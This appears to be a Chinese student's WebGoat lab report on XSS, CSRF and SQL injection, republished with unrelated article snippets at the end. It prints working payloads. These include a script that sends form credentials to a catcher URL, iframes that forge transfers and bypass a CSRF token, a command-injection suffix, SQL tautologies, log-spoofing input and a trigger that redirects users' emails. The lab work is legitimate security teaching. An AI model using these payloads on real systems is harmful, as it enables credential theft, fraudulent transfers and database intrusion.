2018-2019-2 網絡對抗技術 20165202 Exp9 Web安全基礎

博客目錄

  • 一、實踐內容

    • 跨站腳本攻擊XSS
    • 跨站請求偽造CSRF
    • SQL注入攻擊
  • 二、實驗中遇到的問題及解決
  • 三、基礎問題回答
  • 四、實驗總結

一、實踐內容

  • 本實踐的目標理解常用網絡攻擊技術的基本原理。Webgoat實踐下相關實驗。

具體過程:

  1. 跨站腳本攻擊XSS
  2. 跨站請求偽造CSRF
  3. SQL注入攻擊

跨站腳本攻擊XSS

  1. 使用XSS釣魚(Phishing with XSS)
    • 使用XSS和HTML插入,將html插入到請求憑證中,添加JavaScript實際收集憑據,將請求憑證發布到http://localhost:8080/WebGoat/catcher?PROPERTY=yes...這谷歌翻譯的是人話嗎。。我理解的意思是html的源代碼是可以被修改的,生成一個包含form的html,并且寫一個js實現將form提交的內容發送給攻擊者,這里用彈窗alert做示例,既然彈窗能做到,那么偷偷將數據傳給攻擊者也是沒問題的。
    • 代碼如下:
    <script>
    function hack()
    {
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + " Password = " + document.forms[0].pass.value); //將輸入框里面的內容獲取并顯示
    XSSImage=new Image; 
    XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";} //將這些信息發送給捕獲這些信息的WebGoat。
    </script>
    <form>
    <br><br><HR>
    <H3>This feature requires account login:</H3>
    <br><br>Enter Username:<br>
    <input type="text" id="user" name="user"><br>Enter Password:<br>
    <input type="password" name = "pass"><br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <HR>
    • 生成的html網頁
    • 1297055-20190526140250335-1428672531.jpg

    • 彈窗成功
    • 1065407-20180526130621996-1427376529.jpg

  2. 反射性XSS(Reflected XSS)
    • 當在輸入框中插入腳本,點擊提交后能立即看到效果,數據傳到了后臺,就是反射性XSS攻擊。在輸入框中輸入<script>alert("You're an idiot!");</script>,提交后就可以看到彈窗,說明我們也可以寫一段腳本把數據傳到某個網址或者服務器?
    • 1297055-20190526140420003-280534323.png

CSRF攻擊

  1. 跨站請求偽造(CSRF)
    • 跨站請求偽造是一種讓受害者加載一個包含網頁的圖片的一種攻擊手段。
    • 當受害者的瀏覽器試圖打開頁面時,它會使用指定的參數向 圖片包含的網頁的頁面發送請求。瀏覽器認為將會得到一個圖片,但實際上是一種資金轉移功能。該請求將包括與網站相關的任何 cookies。因此,如果用戶已經通過網站的身份驗證, 并有一個永久的cookie,甚至是當前會話的cookie,網站將沒有辦法區分這是否是一個從合法用戶發出的請求。通過這種方法,攻擊者可以讓受害者執行一些他們本來沒打算執行的操作,如注銷、采購項目或者這個脆弱的網站提供的任何其他功能。
    • 在這一課中,您的目的是向一個新聞組發送一封郵件,郵件中包含一張圖片,這個圖像的URL指向一個惡意請求。無論誰收到這封郵件,并恰好已經通過身份驗證,他的資金將會被轉走。
    • 在消息框中嵌入html代碼。<iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe>注意Screen和menu參數在網站右邊查看,每個人不一樣;關于是localhost還是127.0.0.1,你自己登陸WebGoat的時候用的是啥這里就寫啥,對應不上可能沒法做題。
    • 1297055-20190526140933372-2028577349.png

    • 在Message List中生成以Title命名的鏈接,點擊進入后,攻擊成功
    • 1297055-20190526140948092-1739723179.png

  2. 繞過CSRF確認(CSRF Prompt By‐Pass)
    • 網頁中所有手動發起的請求操作,其實質是通過 HTML+JavaScript 向服務器發起請求。
    • 我們的目標是給新聞組發送一封帶有多個威脅請求的 Email。第一個請求用戶資金轉賬,第二個用于自動處理第一個請求所觸發的確認。URL必須使用以下兩個外部參數“transferFunds=4000”和“transferFunds=CONFIRM”。可以通過在左側鏈接中右鍵鼠 標,復制快捷方式完成URL獲取。任何收到該郵件的人若正好已經通過認證,則當其訪問該頁面時將自動完成資金轉賬。
    • 同樣的,不同WebGoat環境的URL中“Screen”和“Menu”參數可能會有所區別。使用當前訪問URL中正在使用的參數。
    • 造一個類似于 CSRF 實驗中的圖片或 iframe 標記:<img src="http://127.0.0.1:8080/attack?Screen=272&menu=900&transferFunds=5000" width="1" height="1" /> 該圖片請求不會導致資金轉移,而是觸發一個需要用戶確認的信息。
    • 1065407-20180526131029486-1929575493.jpg

    • 代碼如下:
    <iframesrc="http://127.0.0.1:8080/WebGoat/attack?Screen=272&menu=900&transferFunds=5000" id="myFrame" frameborder="1" marginwidth="0"marginheight="0" width="800" scrolling=yes height="300" onload="document.getElementById('frame2').src='http://127.0.0.1:8080/WebGoat/attack?Screen=272&menu=900&transferFunds=CONFIRM';"> 
    </iframe>
    <iframeid="frame2" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300">
    </iframe>
    • 1065407-20180526131441794-1601211699.jpg

    • 第二個請求必須在第一個請求結束后被載入。所以需要添加js以實現在第一個請求結束后自動載入第二個:在第一個 frame 的屬性中添加onload參數,設置 src 為第二個 frame。將這段代碼提交到消息框中發表。提交后可以看到上面的frame是顯示了用戶確認信息,是之前的請求所觸發的結果。第二個frame顯示的是我們偽造的確認請求觸發的結果:5000元已經轉賬。刷新頁面可以看到完成課程。
    • 對于圖片來說,如果載入的是一個 HTML 則會觸發一個錯誤。所以此處可通過替換 onload 屬性,實現工具目的。

    <img src="attack?Screen=272&menu=900&transferFunds=5000" width="1" height="1"> 
    <img src="attack?Screen=272&menu=900&transferFunds=confirm" width="1" height="1">
    • 1065407-20180526131011385-2329698.jpg

    • 在輸入框中插入代碼,提交消息后點擊頁面,刷新后通過。
  3. 繞過 CSRF Token(CSRF Token By-Pass)
    • 跨站請求偽造攻擊(CSRF/XSRF)欺騙已獲取系統信任用戶點擊帶有偽造請求的頁面從而執行相關命令。
    • 基于 Token(令牌)的請求認證用于阻止此類攻擊者。該技術在請求發起頁面插入 Token。Token 用于完成請求和并驗證該操作不是通過腳本執行的、網頁中所有手工發起的請求操作,其實質通過 HTML+JavaScript 向服務器發起請求。
    • “與 CSRF 課程類似,您的目標是給新聞組發送包含惡意請求的 Email 實現資金轉賬。為了成功完成欺騙,您需要獲得一個驗證請求 Token。顯示轉賬表單的 URL 類似于 CSRF 課程 中使用的外部參數"transferFunds=main"。載入該頁面,讀取 Token 并追加到偽造請求中以實現資金轉賬。”
    • 查看網站生成的資金轉賬頁面的表單內容。http://127.0.0.1:8080/WebGoat/attack?Screen=296&menu=900&transferFunds=main查看源代碼,看到Token參數
    <form accept-charset='UNKNOWN' id='transferForm' method='POST' 
    action='#attack/296/900' enctype='application/x-www-form-urlencoded'><input name='transferFunds' type='text' value='0'><input name='CSRFToken' type='hidden' value='920130483'><input type='submit'></form>
    • 由此可以看到偽造命令需要提交CSRFToken參數,在一個 iframe 中載入頁面,然后從該 frame 中讀取出 Token。 下面查看網頁源代碼,找到 Token 參數。
    • 從教程里面找了段代碼, 通過 frame‐>form 的路徑可以讀取并保存 CSRFToken 參數。
    <script>
    var readToken = function(){
    var doc = document.getElementById("frame1").contentDocument
    var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value");
    alert(token);
    var frame2 = document.getElementById("frame2");
    frame2.src = "http://127.0.0.1:8080/WebGoat/attack?Screen=296&menu=900&transferFunds=4000&CSRFToken="+token;
    }
    </script>
    <iframe id="frame2" >
    </iframe>
    <iframe id="frame1" onload="readToken()" src="http://127.0.0.1:8080/WebGoat/attack?Screen=296&menu=900&transferFunds=main" >
    </iframe>
    • 1065407-20180526131729859-1658331928.jpg

    • 點擊后會彈窗顯示token。
    • 1065407-20180526130949143-893031356.jpg

SQL注入攻擊

  1. 命令注入(Command Injection)
    • 在正常的參數提交過程中,添加惡意的代碼,往往能夠得到以外的收獲,比如執行系統命令。
    • 點擊firebug,就是工具欄的蟲子(bug),調試網頁源代碼。
    • 在所請求的頁面源代碼中添加"& netstat -an & ipconfig",添加到哪里呢?哪里都行,復選框里面某一項,后面加上雙引號,就會執行這條系統命令。
    • 1297055-20190526141059260-1181535204.png

    • 可以看到命令所產生的效果:
    • 1297055-20190526141114758-1566604371.png

  2. 數字型SQL注入(Numeric SQL Injection)
    • 在 station 字段中注入特征字符,能組合成新的 SQL 語句。SELECT * FROM weather_data WHERE station = [station],通過注入SQL字符串的方式查看所有的天氣數據。
    • 先來看不攻擊的情況,查看哥倫比亞看到的就是哥倫比亞的天氣。

    • 這個很簡單,同樣是查看源代碼,在比如說哥倫比亞天氣value=101里面加入一個or 1=1,因為1=1是恒等式,加上or就使得這一個sql語句變成了SELECT * FROM weather_data WHERE station = 101 or 1=1,這樣station右邊的等號永遠成立,也不會查找station=101的城市天氣,直接select全部城市的天氣。
    • 全部城市的天氣都能看到:
    • 1297055-20190526141324925-1564309740.png

  3. 日志欺騙(Log Spoofing)
    • 灰色區域代表在 Web 服務器的日志中的記錄的內容。我們的目的是使用戶名為“admin” 的用戶在日志中顯示“成功登錄”。
    • 可以通過在日志文件中插入腳本實現。
    • 在文本框中輸入用戶名webgoat Login Succeeded for username admin,這樣用戶名信息在同一行顯示,沒什么用。如果我們能在這一行中加入回車之類的,不就可以變成兩行了啊,加入回車(0D%)和換行符(%0A),在username中填入webgoat%0d%0aLogin Succeeded for username: admin,可以看到本來只有一行的Login failed變成了兩行,下面是我們的邪惡目的Login Succeded for username : admin
    • 1297055-20190526141432818-255215788.png

    • 1297055-20190526141443631-1537987365.png

    • 這說明我們可以向日志文件中添加惡意腳本,腳本的返回信息管理員能夠通過瀏覽器看到。
    • admin <script>alert(document.cookie)</script>作為用戶名輸入,管理員可以看到彈窗的cookie信息。
    • 1065407-20180526131852476-1053956293.jpg

  4. 字符串型注入(String SQL Injection)
    • 由于網頁的html代碼中,給password的框限定了最大長度為8,我將其修改至30。否則要注入的永真式長度大于最大長度將會注入失敗。
    • 1297055-20190526141757075-1583003513.png
  • 以用戶Neville登錄,還是以永真式的形式輸入密碼·Smith' or 1=1 --·:

  • 攻擊成功,得到所有人員列表:
  • 1297055-20190526141809989-249147066.png

10.數據庫后門(Database Backdoors)

  • 數據庫通常作為一個Web應用程序的后端來使用。此外,它也用來作為存儲的媒介。它也可以被用來作為存儲惡意活動的地方,如觸發器。觸發器是在數據庫管理系統上調用另一個數據庫操作,如insert,select,update or delete。舉個例子:攻擊者可以創建一個觸發器,該觸發器在創建新用戶時,將每個新用戶的Email地址設置為攻擊者的地址。我們的Login ID是101.

  • 步驟:
  • 輸入101,得到該用戶的信息:
  • 1297055-20190526142448619-1898169990.png

  • 輸入注入語句101; update employee set salary=10000(由于要執行兩個語句,中間需要用分號分隔):
  • 1297055-20190526142511848-1545779344.png

  • 使用以下查詢條件,添加觸發器:101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid,便可看到攻擊成功:
  • 1297055-20190526142533934-1980358299.png

二、實驗中遇到的問題及解決

1.jdk不匹配
解決:根據同學提供的教程下載了1.8,這一版本適配webgoat7.0

三、基礎問題回答

1)SQL注入攻擊原理,如何防御

  • SQL注入即是指web應用程序對用戶輸入數據的合法性沒有判斷,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而進一步得到相應的數據信息。
  • SQL注入攻擊的典型手段:判斷應用程序是否存在注入漏洞,收集信息、并判斷數據庫類型,根據注入參數類型,重構SQL語句的原貌,猜解表名、字段名,獲取賬戶信息、攻擊web或為下一步攻擊做準備。
  • 至于如何防范SQL注入攻擊,首先是將普通用戶與系統管理員用戶的權限分離,加強對用戶輸入的驗證,杜絕各種符號的使用。測試字符串變量的內容,只接受所需的值。拒絕包含二進制數據、轉義序列和注釋字符的輸入內容。這有助于防止腳本注入,防止某些緩沖區溢出攻擊。測試用戶輸入內容的大小和數據類型,強制執行適當的限制與轉換。這即有助于防止有意造成的緩沖區溢出,對于防治注入式攻擊有比較明顯的效果。

2)XSS攻擊的原理,如何防御

  • XSS又叫CSS(Cross Site Script),跨站腳本攻擊。因為和CSS層疊樣式表重名,改叫xss。它指的是惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執行,從而達到惡意用戶的特殊目的,獲取用戶的一些信息。
    xss攻擊可以分成三種類型,存儲型和反射性和DOM,反射型攻擊經過后端,不經過數據庫;存儲型經過后端,經過數據庫。DOM:不經過后端,DOM—based XSS漏洞是基于文檔對象模型Document Objeet Model,DOM)的一種漏洞,是通過url傳入參數去控制觸發的。
  • 想要防御XSS攻擊主要通過在表單提交或者url參數傳遞前,對需要的參數進行嚴格過濾;還有就是檢查用戶輸入的內容中是否有非法內容,如尖括號<,>、引號",'等,嚴格控制。

3)CSRF攻擊原理,如何防御

  • CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防范的資源也相當稀少)和難以防范,所以被認為比XSS更具危險性。
  • 目前防御 CSRF 攻擊主要有一下策略:在 HTTP 頭中自定義屬性并驗證。通過 referer、token 或者 驗證碼 來檢測用戶提交。盡量不要在頁面的鏈接中暴露用戶隱私信息。對于用戶修改刪除等操作最好都使用post 操作 。避免全站通用的cookie,嚴格設置cookie的域。

四、 實踐總結與體會

做實驗的時候剛上完信息系統安全,上次課講得sql注入攻擊,這節課講了xss攻擊,相當于復習了一波,也有了新收獲,實驗上完了,知識留下了,感覺闊以。。

轉載于:https://www.cnblogs.com/jhs888/p/10925876.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/393553.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/393553.shtml
英文地址,請注明出處:http://en.pswp.cn/news/393553.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

leetcode696. 計數二進制子串

給定一個字符串 s&#xff0c;計算具有相同數量0和1的非空(連續)子字符串的數量&#xff0c;并且這些子字符串中的所有0和所有1都是組合在一起的。 重復出現的子串要計算它們出現的次數。 示例 1 : 輸入: “00110011” 輸出: 6 解釋: 有6個子串具有相同數量的連續1和0&#…

idea無法忍受_不要成為無法忍受的軟件開發人員

idea無法忍受by Bruce Flow通過布魯斯流 不要成為無法忍受的軟件開發人員 (Don’t be the software developer you can’t stand working with) I have more than 10 years of industry experience as a software developer. I am working at one of the largest tech compani…

項目需求分析答辯總結

前言 組長成員★530 雨勤311 旭403 俊223 元437 海輝你一定也不想做的 本次作業沒什么可看的 項目需求分析看完記得投幣的 一分鐘宣傳視頻本組對其他各組評審結果 編號團隊名稱項目名稱報告格式/20演示內容/20答辯內容/20PPT制作/20演講/20總分/1001天機組指尖加密15.013.613.6…

xml編輯 html_【c# .net】Xml讀寫操作(XmlTextReader 類)

Xml讀寫操作&#xff08;XmlTextReader 類&#xff09;1.XML簡介1&#xff09;XML 和 HTML 的設計初衷XML 被設計用來傳輸和存儲數據HTML 被設計用來顯示數據2&#xff09;什么是 XML?XML 指可擴展標記語言&#xff08;EXtensible Markup Language&#xff09;XML 是一種標記語…

jQ層級選擇器

<!DOCTYPE html><html> <head> <meta charset"utf-8" /> <title></title> </head> <body> </body></html> <h1>沁園春雪</h1> <h2>毛***</h2> <div> <span> <d…

spring 獲取url參數

1. usl格式&#xff1a; http://localhost:8080/contact/delete/3 java代碼 RequestMapping(value"/delete/{id}")public Map<String,Object> delete(PathVariable("id") Integer id){boolean result contactService.deleteContactById(id); 也可以…

leetcode475. 供暖器(二分查找)

冬季已經來臨。 你的任務是設計一個有固定加熱半徑的供暖器向所有房屋供暖。 現在&#xff0c;給出位于一條水平線上的房屋和供暖器的位置&#xff0c;找到可以覆蓋所有房屋的最小加熱半徑。 所以&#xff0c;你的輸入將會是房屋和供暖器的位置。你將輸出供暖器的最小加熱半徑…

如何在命令行中使用jq將JSON轉換為CSV

by Knut Melvr通過納特梅爾瓦 如何在命令行中使用jq將JSON轉換為CSV (How to transform JSON to CSV using jq in the command line) The shell tool jq is awesome for dealing with JSON-data. It can also transform that data into handy CSV-files, ready for all your s…

macaca運行報錯之chrome-driver問題處理,關閉 Chrome 的自動更新

自動更新是 Chrome 非常實用的功能之一&#xff0c;但在有些情況下可能還是有關閉自動更新的需求&#xff0c;比如需要用某一個具體的版本來測試一些東西&#xff0c;或者更新之后反而出現了新的 Bug等等。由于一般人沒有這樣的需求&#xff0c;所以 Google 沒有公布關閉自動更…

docker啟動sqlserver_Docker搭建SQLServer

一、下載鏡像docker pull microsoft/mssql-server-linux二、啟動容器docker-composeversion: 3services:sqlserver:image: microsoft/mssql-server-linux:latestrestart: alwaysprivileged: truecontainer_name: sqlserverports:- 1433:1433volumes:- ./data:/var/opt/mssql/da…

【Python】 子進程創建與使用subprocess

subprocess *****本文參考了Vamei大神的http://www.cnblogs.com/vamei/archive/2012/09/23/2698014.html   運用subprocess包可以在運行python的進程下進一步開啟一個子進程&#xff0c;創建子進程要注意 1. 父進程是否暫停 2.創建出的子進程返回了什么 3.執行出錯&#xff0c…

異步查詢回調函數調用

異步查詢數據&#xff0c;需要對返回的數據進行后續步驟操作&#xff0c;使用使用方法&#xff1a; 1、new promise方法使用。 2、回調函數使用 使用方式&#xff1a;   pageGetDeviceTreeInfo({deviceTypeAry:[1]},this.getTreeData); 函數&#xff1a; 1 export function p…

前端開發從項目中獲得什么_我如何獲得副項目的前10個客戶以及從他們那里學到的東西...

前端開發從項目中獲得什么by Tigran Hakobyan由Tigran Hakobyan 我如何獲得副項目的前10個客戶以及從他們那里學到的東西 (How I got my first 10 customers for my side-project and what I’ve learned from them) My name is Tigran, I’m 29, and I’m the creator of Cro…

leetcode278. 第一個錯誤的版本(二分查找)

你是產品經理&#xff0c;目前正在帶領一個團隊開發新的產品。不幸的是&#xff0c;你的產品的最新版本沒有通過質量檢測。由于每個版本都是基于之前的版本開發的&#xff0c;所以錯誤的版本之后的所有版本都是錯的。 假設你有 n 個版本 [1, 2, …, n]&#xff0c;你想找出導致…

lrzsz ??linux與windows互傳

2019獨角獸企業重金招聘Python工程師標準>>> lrzsz linux與windows互傳 # 前提是使用 xshell 或者 securecrt 這兩個遠程軟件&#xff0c;putty不支持 yum install -y lrzsz //安裝文件包 linux向windows 傳文件使用 &#xff1a; sz 文件名 回…

mysql show 命令_mysql show 相關命令

processlist的show方式是不能使用過濾查找&#xff0c;可能源自MySQL的內部安全機制吧&#xff0c;show是用來查看MySQL內部運行數據&#xff0c;其實processlist就是information_schema數據庫中的一張表&#xff0c;那么通過查表的方式肯定是可以的了&#xff1a;SELECT user,…

ordereddict有序字典

import collections as con# 有序添加和取字典元素 ord con.OrderedDict() ord[a] 1 ord[b] 2 ord[c] 3 print(ord, ordereddict)# 移動某元素到最后 ord.move_to_end(a) print(ord, move_to_end)轉載于:https://www.cnblogs.com/xh4528/p/6538700.html

Spring: (一) -- 春雨潤物之 核心IOC

作為一個Java人&#xff0c;想必都或多或少的了解過Spring。對于其優勢也能道個一二&#xff0c;諸如方便解耦、支持AOP編程、支持聲明式事務、方便測試等等。Spring也不僅僅局限于服務器端開發&#xff0c;它可以做非常多的事情&#xff0c;任何Java應用都可以在簡單性、可測試…

reactjs快速如夢_幫助您理解和創建ReactJS應用的快速指南

reactjs快速如夢此帖子分為2部分 (This Post is divided into 2 parts) The First Part demonstrates how to create a simple React app using ‘create-react-app’ CLI and explains the project structure. 第一部分演示了如何使用“ create-react-app” CLI創建簡單的Reac…

leetcode1351. 統計有序矩陣中的負數(二分查找)

給你一個 m * n 的矩陣 grid&#xff0c;矩陣中的元素無論是按行還是按列&#xff0c;都以非遞增順序排列。 請你統計并返回 grid 中 負數 的數目。 示例 1&#xff1a; 輸入&#xff1a;grid [[4,3,2,-1],[3,2,1,-1],[1,1,-1,-2],[-1,-1,-2,-3]] 輸出&#xff1a;8 解釋&a…